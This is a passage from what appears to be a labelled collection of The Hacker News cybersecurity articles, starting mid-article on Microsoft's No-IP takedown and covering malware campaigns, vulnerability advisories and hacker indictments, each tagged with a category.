Microsoft attorneys said No-IP is ""functioning as a major hub for 245 different types of malware circulating on the Internet.""

The court in Nevada has granted a temporary controlling order against No-IP and now the DNS traffic for the hostnames associated with malicious activity being funneled through Microsoft's servers:

ns7.microsoftinternetsafety.net
ns8.microsoftinternetsafety.net
MICROSOFT vs No-IP SERVICE
Microsoft claimed, ""Despite numerous reports by the security community on No-IP domain abuse, the company has not taken sufficient steps to correct, remedy, prevent or control the abuse or help keep its domains safe from malicious activity."".

In an official statement, Vitalwerks counter-accused Microsoft for allegedly affecting millions of innocent users, who are currently experiencing outages to their services because of Microsoft's attempt to remediate hostnames associated with a few bad actors.

""Unfortunately, Microsoft never contacted us or asked us to block any subdomains, even though we have an open line of communication with Microsoft corporate executives."" No-IP Marketing Manager, Natalie Goguen said.
""Vitalwerks and No­-IP have a very strict abuse policy. Our abuse team is constantly working to keep the No-­IP system domains free of spam and malicious activity."" Natalie Goguen said. ""Even with such precautions, our free dynamic DNS service does occasionally fall prey to cyber scammers, spammers, and malware distributors. But this heavy-handed action by Microsoft benefits no one.""
OTHER POPULAR No-IP LIKE SERVICES
There are dozens of No-IP like Free Dynamic Domain Name Services (DDNS) available the Internet, those are actively being used by malware authors/operators to distribute malwares. Example:
https://www.dnsdynamic.org/
https://www.changeip.com/
https://freedns.afraid.org/
https://www.dyndns.com/
and many more…
Microsoft advised all of them to follow the Industry best security practices, in order to make it more difficult for cybercriminals to operate anonymously and harder to victimize people online.
Boscovich went on to say, ""As malware authors continue to pollute the Internet, domain owners must act responsibly by monitoring for and defending against cyber crime on their infrastructure. If free Dynamic DNS providers like No-IP exercise care and follow industry best practices, it will be more difficult for cybercriminals to operate anonymously and harder to victimize people online.""
However, No-IP has not created the malware, but the service has not taken strict steps to keep its domains safe from malicious activity. Microsoft said the case and operation is ongoing. Stay Tuned for more updates.

",Malware
Hackers Spread BIOPASS Malware via Chinese Online Gambling Sites,https://thehackernews.com/2021/07/hackers-spread-biopass-malware-via.html,"Cybersecurity researchers are warning about a new malware that's striking online gambling companies in China via a watering hole attack to deploy either Cobalt Strike beacons or a previously undocumented Python-based backdoor called BIOPASS RAT that takes advantage of Open Broadcaster Software (OBS) Studio's live-streaming app to capture the screen of its victims.
The attack involves deceiving gaming website visitors into downloading a malware loader camouflaged as a legitimate installer for popular-but-deprecated apps such as Adobe Flash Player or Microsoft Silverlight, only for the loader to act as a conduit for fetching next-stage payloads.
Specifically, the websites' online support chat pages are booby-trapped with malicious JavaScript code, which is used to deliver the malware to the victims.
""BIOPASS RAT possesses basic features found in other malware, such as file system assessment, remote desktop access, file exfiltration, and shell command execution,"" Trend Micro researchers noted in an analysis published Friday. ""It also has the ability to compromise the private information of its victims by stealing web browser and instant messaging client data.""
OBS Studio is an open-source software for video recording and live streaming, enabling users to stream to Twitch, YouTube, and other platforms.
Besides featuring an array of capabilities that run the typical spyware gamut, BIOPASS is equipped to establish live streaming to a cloud service under the attacker's control via Real-Time Messaging Protocol (RTMP), in addition to communicating with the command-and-control (C2) server using the Socket.IO protocol.
The malware, which is said to be under active development, is also notable for its focus on stealing private data from web browsers and instant messaging apps chiefly popular in Mainland China, including QQ Browser, 2345 Explorer, Sogou Explorer, and 360 Safe Browser, WeChat, QQ, and Aliwangwang.
It isn't clear exactly as to who is behind this malware strain, but Trend Micro researchers said they found overlaps between BIOPASS and that of TTPs often associated with the Winnti Group (aka APT41), a sophisticated Chinese hacking group specialized in cyber espionage attacks, based on the use of stolen certificates and a Cobalt Strike binary that was previously attributed to the threat actor.
What's more, the same Cobalt Strike binary has also been connected to a cyber attack targeting MonPass, a major certification authority (CA) in Mongolia, earlier this year wherein its installer software was tampered with to install Cobalt Strike beacon payloads on infected systems.
""BIOPASS RAT is a sophisticated type of malware that is implemented as Python scripts,"" the researchers said. ""Given that the malware loader was delivered as an executable disguised as a legitimate update installer on a compromised website, [...] it is recommended to download apps only from trusted sources and official websites to avoid being compromised.""

",Malware
Digitally Signed Bandook Malware Once Again Targets Multiple Sectors,https://thehackernews.com/2020/11/digitally-signed-bandook-malware-once.html,"A cyberespionage group with suspected ties to the Kazakh and Lebanese governments has unleashed a new wave of attacks against a multitude of industries with a retooled version of a 13-year-old backdoor Trojan.
Check Point Research called out hackers affiliated with a group named Dark Caracal in a new report published yesterday for their efforts to deploy ""dozens of digitally signed variants"" of the Bandook Windows Trojan over the past year, thus once again ""reigniting interest in this old malware family.""
The different verticals singled out by the threat actor include government, financial, energy, food industry, healthcare, education, IT, and legal institutions located in Chile, Cyprus, Germany, Indonesia, Italy, Singapore, Switzerland, Turkey, and the US.
The unusually large variety of targeted markets and locations ""reinforces a previous hypothesis that the malware is not developed in-house and used by a single entity, but is part of an offensive infrastructure sold by a third party to governments and threat actors worldwide, to facilitate offensive cyber operations,"" the researchers said.
Dark Caracal's extensive use of Bandook RAT to execute espionage on a global scale was first documented by the Electronic Frontier Foundation (EFF) and Lookout in early 2018, with the group attributed to the theft of enterprise intellectual property and personally identifiable information from thousands of victims spanning over 21 countries.
The prolific group, which has operated at least since 2012, has been linked to the Lebanese General Directorate of General Security (GDGS), deeming it a nation-state level advanced persistent threat.
The concurrent use of the same malware infrastructure by different groups for seemingly unrelated campaigns led the EFF and Lookout to surmise that the APT actor ""either uses or manages the infrastructure found to be hosting a number of widespread, global cyberespionage campaigns.""
Now the same group is back at it with a new strain of Bandook, with added efforts to thwart detection and analysis, per Check Point Research.
A Three-Stage Infection Chain
The infection chain is a three-stage process that begins with a lure Microsoft Word document (e.g. ""Certified documents.docx"") delivered inside a ZIP file that, when opened, downloads malicious macros, which subsequently proceeds to drop and execute a second-stage PowerShell script encrypted inside the original Word document.
In the last phase of the attack, this PowerShell script is used to download encoded executable parts from cloud storage services like Dropbox or Bitbucket in order to assemble the Bandook loader, which then takes the responsibility of injecting the RAT into a new Internet Explorer process.
The Bandook RAT — commercially available starting in 2007 — comes with all the capabilities typically associated with backdoors in that it establishes contact with a remotely-controlled server to receive additional commands ranging from capturing screenshots to carrying out various file-related operations.
But according to the cybersecurity firm, the new variant of Bandook is a slimmed-down version of the malware with support for only 11 commands, while prior versions were known to feature as many as 120 commands, suggesting the operators' desire to reduce the malware's footprint and evade detection against high-profile targets.
That's not all. Not only valid certificates issued by Certum were used to sign this trimmed version of the malware executable, Check Point researchers uncovered two more samples — full-fledged digitally-signed and unsigned variants — which they believe are operated and sold by a single entity.
""Although not as capable, nor as practiced in operational security like some other offensive security companies, the group behind the infrastructure in these attacks seems to improve over time, adding several layers of security, valid certificates and other techniques, to hinder detection and analysis of its operations,"" the researchers concluded.

",Malware
Most Vulnerable Smart Cities to Cyber Attack on Internet of Things (IoT),https://thehackernews.com/2015/07/smart-city-cyber-attack.html,"Imagine…

You drive to work in your Smart-Car connected to the GPS automatically, but a hacker breaks into your car's network, takes control of the steering wheel, crashes you into a tree, and BOOM!

Believe it or not, such cyber attacks on smart devices are becoming reality.

Car Hacking was recently demonstrated by a pair of security researchers who controlled a Jeep Cherokee remotely from miles away, which shows a rather severe threat to the growing market of the Internet of Things (IoT).

Internet of Things (IoT) — A technology that connects objects to a network or the Internet, and enables interaction among varied devices such as:
Smart Cars
Smart TVs
Refrigerators
Wearables
Routers
Other embedded computing as well as non-computing devices.
Few days back, I had read about Smart Dustbins that are the latest smart objects to become Wi-Fi-enabled.

Internet of Things to make Cities Smart or Dumb?

Cities around the world are becoming increasingly smarter and more connected to the Internet in an attempt to add convenience and ease to daily activities.

By 2020, there will be more than 50 Billion Internet-connected devices that will transform the way we live and work.

However, every new technology and innovation bring new challenges and problems. In this article, I am focusing on cyber security related issues that are currently affecting or will affect our smart life in the near future.

We all know that everything connected to the Internet is vulnerable and can be supposedly compromised, and as the number of Internet-connected devices is increasing, the potential security challenges of IoT devices can no longer be ignored.

Top 7 Smart Cities Prone to Cyber Attacks

Below is the list of Top 7 developed smart cities around the world, but also labelled as the most vulnerable Cities to Cyber threats:
Santander, Spain
New York City, USA
Aguas De Sao Pedro, Brazil
Songdo, South Korea
Tokyo, Japan
Hong Kong
Arlington County, Virginia, USA

These Cities become smarter by deploying new technologies like:
Smart street lights: Centrally managed and can adapt to weather conditions, report problems, or be automated by time of the day.
Smart Public Transportation and Traffic control Systems adjust traffic lights based on current traffic conditions.
Smart parking application to find available parking slots.
Smart Water and Energy Management, provides information regarding the quality of air, water needs.
Sadly these cities are implementing new technologies without first testing cyber security.

In case if a cyber attack on these smart cities causes an inadequate supply of electricity or water, dark streets, or/and no cameras. Then how would citizens respond to it?

I guess such attack would cause a lot of chaos in the city.

People residing in such a city might face a panic attack when they are made slaves of their ""cyber masters/criminals.""

As hackers may bring more sophisticated viruses to you that a day comes when you plan to go to a movie on a Friday night, all set to go, but your house keys are in the hands of your master sitting in some other country!

Smart IoT devices create huge attack surfaces for potential cyber attacks, making the future of smart cities more vulnerable than today's computers and smartphones.

Cyber Attacks Leverages Internet of Things

Smart devices such as traffic and surveillance cameras, meters, street lights, traffic lights, smart pipes, and sensors are easy to implement, but are even easier to hack due to lack of stringent security measures and insecure encryption mechanisms.

Last year, we saw a real cyber attack scenario involving IoTs in which hackers compromised more than 100,000 Smart TVs, Refrigerator, and other smart household appliances to send out millions of malicious spam emails.

In a separate case, researchers discovered a Linux worm 'Linux.Darlloz' that hijacked a number of smart home appliances including Home Routers, Set-top boxes, Security Cameras and printers, to mine Cryptocurrencies like Bitcoin.

Modus Operandi of a Cyber Criminal

A vulnerability in the technology, when comes in the sight of a person with malicious intent, poses as a threat and as the threat/risk associated with the system (to be compromised) is bypassed takes the form of an attack.

With the technological shift in the lives of the people from desktop PCs to mobiles, wearables and now to IoT devices, cyber criminals are also focusing on all sorts of threats to compromise them.

In one of our introductory articles to IoT we discussed about the desktop viruses coming our way through refrigerators and home appliances, therefore, emphasis is to be paid on the type of threats that can affect our digital appliances, including Ransomware, Spyware, DDoS attacks, and many more.

So, in such a scenario where every single object is dependent on the network and making our lives comfortable can be of a kind where sooner or later we are going to become ""Digitally Handicapped.""

No doubt, the IoT devices are said to be the next evolutionary step in our connected world and will incredibly grow, but it is very much possible to see cyber-criminals exploiting and compromising them.

By saying this, we are not making your lives more vulnerable; rather a secure one.

",Cyber_Attack
MiniDuke Malware spreads via Fake Ukraine-related Documents,https://thehackernews.com/2014/04/miniduke-malware-spreads-via-fake.html,"A year back, Security Researchers from the Antivirus firm Kaspersky found a sophisticated piece of malware which they dubbed as 'MiniDuke', designed specifically to collect and steal strategic insights and highly protected political information, which is a subject to states' security.

Now, once again the MiniDuke virus is spreading in wild via an innocent looking but fake PDF documents related to Ukraine, while the researcher at F-Secure were browsing the set of extracted decoy documents from a large batch of potential MiniDuke Samples.

""This is interesting considering the current crisis in the area,"" Mikko Hypponen, the CTO of security research firm F-Secure, wrote on Tuesday.

The Hacker News reported a year ago about the malicious malware that uses an exploit (CVE-2013-0640) of the famous and actively used Adobe Reader. MiniDuke malware written in assembly language with its tiny file size (20KB), and uses hijacked Twitter accounts for Command & Control and incase twitter accounts are not active, the malware located backup control channels via Google searches.

The malware consists of three components: PDF file, MiniDuke Main and Payload. Payload is dropped after the Adobe process gets exploited by opening the malicious PDF file, which refers to the topics including human rights, Ukraine's foreign policy, and NATO membership plans.

The infected machine then use Twitter or Google to collect encrypted instructions showing them where to report for new backdoors and as soon as infected system connects the command servers, it starts receiving encrypted backdoors through GIF image files. Once installed, it may copy, remove, delete files, create database, stop the processes and download the new ones, that may also open backdoor access to other Trojans.

F-Secure also provided screenshots of several Ukraine-related documents that were more likely twisted from already existing and real public documents.
F-Secure found a bogus document signed by Ruslan Demchenko, the First Deputy Minister for Foreign Affairs of Ukraine. ""The letter is addressed to the heads of foreign diplomatic institutions in Ukraine."" When the researcher translated the document, it comes out to be a note regarding ""the 100th year anniversary of the 1st World War.""

This also signalized that the attackers have somehow access to the Ukrainian Ministry of Foreign Affairs. ""We don't know where the attacker got this decoy file from,"" Hypponen wrote. ""We don't know who was targeted by these attacks. We don't know who's behind these attacks. What we do know is that all these attacks used the CVE-2013-0640 vulnerability and dropped the same backdoor (compilation date 2013-02-21).""

The authors of MiniDuke made the malware familiar with the work principles of antivirus software which makes it different from the other viruses. The malware turns unique for each system and contains a backdoor that allows it to avoid system analytics instruments, and in case the virus is detected, the backdoor stops malicious effects and makes it disappear for the system.

MiniDuke Malware previously attacked government entities in Belgium, Brazil, Bulgaria, Czech Republic, Georgia, Germany, Hungary, Ireland, Israel, Japan, Latvia, Lebanon, Lithuania, Montenegro, Portugal, Romania, Russian Federation, Slovenia, Spain, Turkey, United Kingdom, United States, including Ukraine.

",Vulnerability
Adobe releases important Security Updates for Flash Player,https://thehackernews.com/2014/03/adobe-releases-important-security.html,"Adobe has released security updates to address important vulnerabilities in Adobe Flash Player 12.0.0.70 and earlier versions for Windows and Macintosh and Adobe Flash Player 11.2.202.341 and earlier versions for Linux.

The new build intends to address following vulnerabilities in Adobe Flash Player:
CVE-2014-0503, reported by security researcher, 'Masato Kinugawa', that lets attackers bypass the same-origin policy. Attackers can exploit this issue to access resources from another origin in the context of another domain. This can facilitate cross-site request-forgery attacks.
CVE-2014-0504, reported by 'Jordan Milne', that could be used to read the contents of the clipboard(). The Clipboard can be used to store data, such as text and images, but flaw could allow hacker to stuff malware URLs onto your clipboard.
Adobe Security Bulletin APSB14-08 tagged the updates with Priority 2, 'This update resolves vulnerabilities in a product that has historically been at elevated risk. There are currently no known exploits.'
Adobe recommends users to update their software installations to Adobe Flash player 12.0.0.77 i.e. Available for download from Abobe Center.

",Vulnerability
Severe Bugs Reported in EtherNet/IP Stack for Industrial Systems,https://thehackernews.com/2021/04/severe-bugs-reported-in-ethernetip.html,"The U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Thursday issued an advisory warning of multiple vulnerabilities in the OpENer EtherNet/IP stack that could expose industrial systems to denial-of-service (DoS) attacks, data leaks, and remote code execution.
All OpENer commits and versions prior to February 10, 2021, are affected, although there are no known public exploits that specifically target these vulnerabilities.
The four security flaws were discovered and reported to CISA by researchers Tal Keren and Sharon Brizinov from operational technology security company Claroty. Additionally, a fifth security issue identified by Claroty was previously disclosed by Cisco Talos (CVE-2020-13556) on December 2, 2020.
""An attacker would only need to send crafted ENIP/CIP packets to the device in order to exploit these vulnerabilities,"" the researchers said.
CVE-2020-13556 concerns an out-of-bounds write vulnerability in the Ethernet/IP server that could potentially allow an attacker to send a series of specially-crafted network requests to trigger remote code execution. It's rated 9.8 out of 10 in severity.
The four other flaws disclosed to EIPStackGroup, the maintainers of the OpENer stack, in October 2020 are as follows —
CVE-2021-27478 (CVSS score: 8.2) - A bug in the manner Common Industrial Protocol (CIP) requests are handled, leading to a DoS condition
CVE-2021-27482 (CVSS score: 7.5) - An out-of-bounds read flaw that leverages specially crafted packets to read arbitrary data from memory
CVE-2021-27500 and CVE-2021-27498 (CVSS scores: 7.5) - Two reachable assertion vulnerabilities that could be exploited to result in a DoS condition
Vendors using the OpENer stack are recommended to update to the latest version while also taking protective measures to minimize network exposure for all control system devices to the internet, erect firewall barriers, and isolate them from the business network.
This is far from the first time security issues have been unearthed in EtherNet/IP stacks. Last November, Claroty researchers revealed a critical vulnerability uncovered in Real-Time Automation's (RTA) 499ES EtherNet/IP stack could open up the industrial control systems to remote attacks by adversaries.

",Malware
Mozilla Thunderbird vulnerability allows hackers to Insert malicious code into Emails,https://thehackernews.com/2014/01/mozilla-thunderbird-vulnerability.html,"Do you use Thunderbird, a free; open-source; cross-platform application for managing email and news feeds? According to a Pakistani Security Researcher from Vulnerability-Lab, a flaw gives an attacker the ability to run code on a user's machine.

Mozilla Thunderbird 17.0.6 email application is vulnerable to critical validation and filter bypass vulnerability, enables an attacker to bypass the filter that prevents HTML tags from being used in messages.

According to a Security Advisory released by Vulnerability-Lab, the flaw resides in Mozilla's Gecko engine. During the testing, the researchers found many java script errors which gave the researcher much hope in believing that the application might actually be vulnerable.
By default, HTML tags like <script> and <iframe> are blocked in Thunderbird and get filtered immediately upon insertion. However, while drafting a new email message, attackers can easily bypass the current input filters by encoding their payloads with base64 encryption and combine it with the <object> tag.

The malicious code can be triggered on the recipient's machine, when one will 'Reply' or 'Forward' that message.
The malicious code can be injected while creating a new message, inside the email signature or use the attached file with Signature.
Researchers from the Vulnerability Lab said, ""These sorts of vulnerabilities can result in multiple attack vectors on the client end which may eventually result in complete compromise of the end user system. The persistent code injection vulnerability is located within the main application.""

Exploitation of this persistent application vulnerability requires a low or medium user interaction. Successful exploitation of the vulnerability may result in malicious script code being executed in the victim's browser.

Video Demonstration:
The vulnerability is fixed in the latest versions (24.2.0) of Thunderbird, and users are highly recommended to upgrade as soon as possible.

",Vulnerability
Backdoored PhpMyAdmin distributed at SourceForge site,https://thehackernews.com/2012/09/backdoored-phpmyadmin-distributed-at.html,"A security issue has been reported in phpMyAdmin, which can be exploited by malicious people to compromise a vulnerable system. The security issue is caused due to the distribution of a compromised phpMyAdmin source code package containing a backdoor, which can be exploited to e.g. execute arbitrary PHP code.

One of the SourceForge.net mirrors, namely cdnetworks-kr-1, was being used to distribute a modified archive of phpMyAdmin, which includes a backdoor. This backdoor is located in file server_sync.php and allows an attacker to remotely execute PHP code. Another file, js/cross_framing_protection.js, has also been modified.

SourceForge.Net is the world's largest open source software development website. A very large impact on the domestic users with this incident. The vulnerability has been cataloged as being a critical one.

A screenshot as shown of a system containing a malicious backdoor that was snuck into the open-source phpMyAdmin package.

On official website in issue ""PMASA-2012-5"" developers said ""We currently know only about phpMyAdmin-3.5.2.2-all-languages.zip being affected,"".

It's not the first time a widely used open-source project has been hit by a breach affecting the security of its many downstream users. In June of last year, WordPress required all account holders on WordPress.org to change their passwords following the discovery that hackers contaminated it with malicious software.


",Vulnerability
Russian Hacker Gets 12-Years Prison for Massive JP Morgan Chase Hack,https://thehackernews.com/2021/01/russian-hacker-gets-12-years-prison-for.html,"A U.S. court on Thursday sentenced a 37-year-old Russian to 12 years in prison for perpetrating an international hacking campaign that resulted in the heist of a trove of personal information from several financial institutions, brokerage firms, financial news publishers, and other American companies.
Andrei Tyurin was charged with computer intrusion, wire fraud, bank fraud, and illegal online gambling offenses, and for his role in one of the largest thefts of U.S. customer data from a single financial institution in history, which involved the personal information of more than 80 million J.P. Morgan Chase customers.
Besides the investment bank, some of the other major targets of the hacks were E*Trade, Scottrade, and the Wall Street Journal.
Tyurin, who carried out the extensive hacking from his home in Moscow between 2012 to mid-2015, is believed to have netted over $19 million in criminal proceeds as part of his intrusion schemes.
In one such instance of security fraud, Tyurin collaborated with his partner Gery Shalon to artificially inflate the price of certain stocks publicly traded in the U.S. by marketing said stocks in a deceptive and misleading manner to customers of the victim companies whose contact information were stolen during the intrusions.
Photo Credit: REUTERS/Amir Cohen
To carry out the attacks, Tyurin is alleged to have used computer infrastructure located across five continents that were remotely controlled and is said to have maintained persistent access over long periods of time to the victims' networks to download and refresh the stolen data from the companies periodically.
""And once his hacking activities were detected, TYURIN worked with Shalon to destroy the evidence of their criminal activity and undermine U.S. law enforcement's efforts to identify and arrest them,"" the U.S. Southern District of New York said in a statement.
The development comes after Tyurin pleaded guilty in September 2019 to carrying out the wire and bank fraud, computer intrusions, and illegal online gambling. Tyurin has been in U.S. custody since he was extradited from the country of Georgia in September 2018.

",Cyber_Attack
"Cyber 9/11, cyber doomsday...between fear and need for action",https://thehackernews.com/2013/03/cyber-911-cyber-doomsdaybetween-fear.html,"It's not a mystery, every nation is worried of the level of security of its infrastructure, the United States are among the most concerned governments due the high number of cyber-attack against its networks.

US Government representative such us former States Secretary of Defense Leon Panetta and Secretary of Homeland Security Janet Napolitano warned in more than one occasion on the possible consequences of a cyber offensive and declared the necessity to improve the cyber capabilities of the country.
Senators are interested to evaluate the level of protection of nuclear stockpile of foreign governments against cyber attacks, question has been raised after that Pentagon's chief cyber officer admitted to ignore if countries such as Russia or China have adopted efficient countermeasures.

Nelson and Armed Services Committee Chairman Sen. Carl Levin, D-Mich. will request to national intelligence an assessment about the ability of foreign states to safeguard networked nuclear systems.

""In this new world of cyber threats, we of course have to be responsible for ours, but we have to worry about those others on the planet that have a nuclear strike capability, of protecting theirs against some outside player coming in and suddenly taking over their command and control,"" Nelson declared.

Last week Defense Science Board (DSB), a Federal Advisory Committee, published a report titled ""Resilient Military Systems and the Advanced Cyber Threat"", the document presented alarming scenarios on US nation's military considered unprepared for a full-scale cyber-conflict.
The analysis proposed by DSB alerts Pentagon on the necessity to improve cyber capabilities, top-tier adversary represents a serious menace in case of cyber war, the analyst believe various initiatives conducted by US Government not sufficient to face with sophisticated cyber attacks by hostile countries. The report remarks that Defense Department ""is not prepared to defend against these threats"" and its effort leak of a proper coordination, the document also alert central authorities on a ""fragmented"" dispersion of commitments.

""Current DoD actions, though numerous, are fragmented. Thus, DoD is not prepared to defend against this threat DoD red teams, using cyber attack tools which can be downloaded from the Internet, are very successful at defeating our systems The study by the Defense Science Board urges the intelligence community to maintain the threat of a nuclear strike as a deterrent to a major cyber attack.""

""DoD needs to take the lead and build an effective response to measurably increase confidence in the IT systems we depend on (public and private) and at the same time decrease a would-be attacker's confidence in the effectiveness of their capabilities to compromise DoD systems"" ""the relative ease that our Red Teams have in disrupting, or completely beating, our forces in exercises using exploits available on the Internet; and the weak cyber hygiene position of DoD networks and systems""

The statements are concerning, attackers don't need sophisticated computing platforms to hit the country in its vital centers, the technologies are readily available on Internet.

Chief of U.S. Strategic Command, Gen. C. Robert Kehler, which oversees Cyber Command highlighted the need of intelligence activities to evaluate security level of foreign infrastructures but he remarked the necessity to evaluate the potential for a cyber-related attack on U.S. nuclear command and control systems and the weapons systems.

The high official admitted to hasn't information on capabilities of other governments to response to a cyber offensive against its nuclear plants and arsenal. A cyber attacks could hit directly control system of a critical infrastructure, but it could also compromise military system such as an intercontinental missile that could be directly against other resources of the country.

""What about the Russians and the Chinese? Do they have the ability to stop some cyber-attack from launching one of their nuclear intercontinental ballistic missiles?"" probed Sen. Bill Nelson, D-Fla., a member of the Armed Forces Committee.

""Senator, I don't know,"" answered Kehler, who was testifying on Tuesday at a committee hearing.

As reported in the in the report of Defense Science Board the attacks against US infrastructures, including weapons of defense, could be conducted by various actors, state sponsored attacks appears to be most interested but intelligence is aware of the menace represented by cyber terrorist and cyber criminals.

Cyber terrorism is one of the aspect most debated in this moment, hit a critical infrastructure with a cyber attacks has the same effect as a conventional attack, but it has the advantage of being easier to manage. The recruitment of cyber mercenaries and the availability of tools in internet and in the underground that could be used by attackers to cause considerable damage, as demonstrated by the U.S. cyber units, may increase the risk related to the conduction of cyber attack for terrorist purposes.

We read on news paper world such as cyber ""9/11"" and ""cyber doomsday"" words that evoke death, destruction and scary scenarios but above all describe a real danger not to be underestimated, that's why top U.S. intelligence official, in another Senate chamber, named cyber first on his list of current transnational threats.

An article on Nextgov portal states: ""There is a danger that unsophisticated attacks by highly motivated actors would have ""significant outcomes due to unexpected system configurations and mistakes"" or that a vulnerability in one spot ""might spill over and contaminate other parts of a networked system,"" James Clapper, national Intelligence director, testified before the Intelligence Committee on Tuesday. ""

What's about U.S. command and control systems nuclear weapons platforms security?
Gen. C. Robert Kehler is cautiously optimistic, he is confident U.S. command and control systems and nuclear weapons platforms ""do not have a significant vulnerability"", the official also remarked that meanwhile there is a ""fairly decent transparency"" with Russian government officials on missile capabilities it's not the same with China.

My interpretation of the words of General suggests that despite the opening to the two governments, there is much work to be conducted under its diplomatic profile in the definition and unanimous acceptance of a framework to regulate the use of cyber weapons that menace security of critical systems. We are in an extremely critical period of transition, most of the governments work for the production of cyber weapons and conduct cyber espionage campaign undercover. Alongside to historical powers such as Russia and China there are dangerous states such as Iran and North Korea and a plethora of independent actors represented by cyber terrorists and cyber criminals, so it is crucial to know the capabilities of the opponents but also enhance their own.

",Cyber_Attack
U.S. Charges 9 Iranians With Hacking Universities to Steal Research Data,https://thehackernews.com/2018/03/iranian-hackers-wanted-by-fbi.html,"The United States Department of Justice has announced criminal charges and sanctions against 9 Iranians involved in hacking universities, tech companies, and government organisations worldwide to steal scientific research resources and academic papers.

According to the FBI officials, the individuals are connected to the Mabna Institute, an Iran-based company created in 2013 whose members were allegedly hired by the Iranian government for gathering intelligence.

Though the content of the papers is not yet known, investigators believe it might have helped Iranian scientists to develop nuclear weapons.

In past four years, the state-sponsored hacking group has allegedly infiltrated more than 320 universities in 22 countries—144 of which were in the United States—and stolen over 30 terabytes of academic data and intellectual property.

The group used spear-phishing attacks to target more than 100,000 e-mail accounts and computer systems of the professors around the world, and successfully compromised 7,998 of those accounts till last December—3,768 of them at US universities.
""Their primary goal was to obtain usernames and passwords for the accounts of professors so they could gain unauthorized access and steal whatever kind of proprietary academic information they could get their hands on,"" said the FBI agent who investigated the case.

According to the indictment unsealed today in a Manhattan federal court, Mabna Institute also shared stolen credentials with the Islamic Revolutionary Guard Corps (IRGC)—a branch of Iran's Armed Forces responsible for gathering intelligence.

The group then exfiltrated the academic data and sold the content via Megapaper.ir and Gigapaper.ir, Iranian websites ""where customers could access the online library systems of the hacked universities.""

Following are the names and roles of the nine Iranians who were charged by the U.S. federal court:
Gholamreza Rafatnejad — one of the founding members of the Mabna Institute.
Ehsan Mohammadi — another founding member of the Mabna Institute and responsible for organising hacking campaign along with Rafatnejad.
Seyed Ali Mirkarimi — a hacker and Mabna Institute contractor, who was engaged in crafting and sending malicious spear phishing emails to steal credentials belonging to university professors.
Mostafa Sadeghi — another hacker working with the Mabna Institute, who allegedly compromised more than 1,000 university professors' accounts and exchanged their credentials with Iranian partners.
Sajjad Tahmasebi — a Mabna Institute contractor who was maintaining the list of stolen credentials and helped other hackers in reconnaissance process in order to prepare the list of targeted universities and professors to facilitate the spear phishing campaign.
Abdollah Karima — a businessman who owned and operated a website to sell stolen academic materials online.
Abuzar Gohari Moqadam — an Iranian professor who exchanged stolen credentials for compromised accounts with Mabna Institute founders.
Roozbeh Sabahi — another contractor for the Mabna Institute.
Mohammed Reza Sabahi — another Mabna Institute contractor, who assisted in making the lists of targeted university professors and academic databases.

""Although it is difficult to calculate a dollar loss amount, through the course of the conspiracy, U.S.-based universities spent approximately $3.4 billion to procure and access data that the Iranians accessed for free because of their criminal activity,"" FBI said.
Targeted countries include Japan, China, Australia, Canada, Denmark, Finland, Germany, Ireland, Israel, Italy, Malaysia, the Netherlands, Norway, Poland, Singapore, South Korea, Spain, Sweden, Switzerland, Turkey, and the United Kingdom.

The US also imposes sanctions on ""Game of Thrones"" hacker

Besides these 9 Iranian hackers, the U.S. Department of Treasury has also charged a 10th Iranian hacker, named Behzad Mesri, in connection with cyber attacks against HBO and with leaking ""Game of Thrones"" episodes last summer.

According to the authorities, Mesri compromised multiple user accounts belonging to HBO in order to ""repeatedly gain unauthorized access to the company's computer servers and steal valuable stolen data including confidential and proprietary information, financial documents, and employee contact information.""

Mesri then attempted to extort HBO for $6 million to delete the stolen data.

",Cyber_Attack
Hacker Discloses Unpatched Windows Zero-Day Vulnerability (With PoC),https://thehackernews.com/2018/08/windows-zero-day-exploit.html,"A security researcher has publicly disclosed the details of a previously unknown zero-day vulnerability in the Microsoft's Windows operating system that could help a local user or malicious program obtain system privileges on the targeted machine.

And guess what? The zero-day flaw has been confirmed working on a ""fully-patched 64-bit Windows 10 system.""

The vulnerability is a privilege escalation issue which resides in the Windows' task scheduler program and occured due to errors in the handling of Advanced Local Procedure Call (ALPC) systems.

Advanced local procedure call (ALPC) is an internal mechanism, available only to Windows operating system components, that facilitates high-speed and secure data transfer between one or more processes in the user mode.

The revelation of the Windows zero-day came earlier today from a Twitter user with online alias SandboxEscaper, who also posted a link to a Github page hosting a proof-of-concept (PoC) exploit for the privilege escalation vulnerability in Windows.
""Here is the alpc bug as 0day: https://t.co/m1T3wDSvPX I don't fucking care about life anymore. Neither do I ever again want to submit to MSFT anyway. Fuck all of this shit,"" SandboxEscaper tweeted (archive), which has now been deleted.

Zero-Day Works Well on Fully-Patched 64-Bit Windows 10 PC

Shortly after that, CERT/CC vulnerability analyst Will Dormann verified the authenticity of the zero-day bug, and tweeted:
""I've confirmed that this works well in a fully-patched 64-bit Windows 10 system. LPE right to SYSTEM!""
According to a short online advisory published by CERT/CC, the zero-day flaw, if exploited, could allow local users to obtain elevated (SYSTEM) privileges.

Since Advanced Local Procedure Call (ALPC) interface is a local system, the impact of the vulnerability is limited with a CVSS score of 6.4 to 6.8, but the PoC exploit released by the researcher could potentially help malware authors to target Windows users.

SandboxEscaper did not notify Microsoft of the zero-day vulnerability, leaving all Windows users vulnerable to the hackers until a security patch is release by the tech giant to address the issue.

Microsoft is likely to patch the vulnerability in its next month's security Patch Tuesday, which is scheduled for September 11.

The CERT/CC notes it is currently unaware of any practical solution to this zero-day bug.

",Vulnerability
The 7 Most Wanted Iranian Hackers By the FBI,https://thehackernews.com/2016/03/fbi-wanted-hackers.html,"The Federal Bureau of Investigation (FBI) has lengthened its Most Wanted List by adding seven Iranian hackers who are accused of attacking a range of US banks and a New York dam.

On Thursday, the United States Department of Justice (DoJ) charged seven Iranian hackers with a slew of computer hacking offences for breaking into computer systems of dozens of US banks, causing Millions of dollars in damages, and tried to shut down a New York dam.

The individual hackers, who allegedly worked for computer security companies linked to the Iranian government, were indicted for an ""extensive campaign"" of cyber attacks against the US financial sector.

All the seven hackers have been added to the FBI's Most Wanted list, and their names are:
Ahmad Fathi, 37
Hamid Firoozi, 34
Amin Shokohi, 25
Sadegh Ahmadzadegan (aka Nitr0jen26), 23
Omid Ghaffarinia (aka PLuS), 25
Sina Keissar, 25
Nader Saedi (aka Turk Server), 26
All the hackers have been charged with conducting numerous Distributed Denial-of-Service (DDoS) attacks on major U.S. banks, with Firoozi separately gaining unauthorized access to a New York dam's industrial automation control (SCADA) system in August and September of 2013.
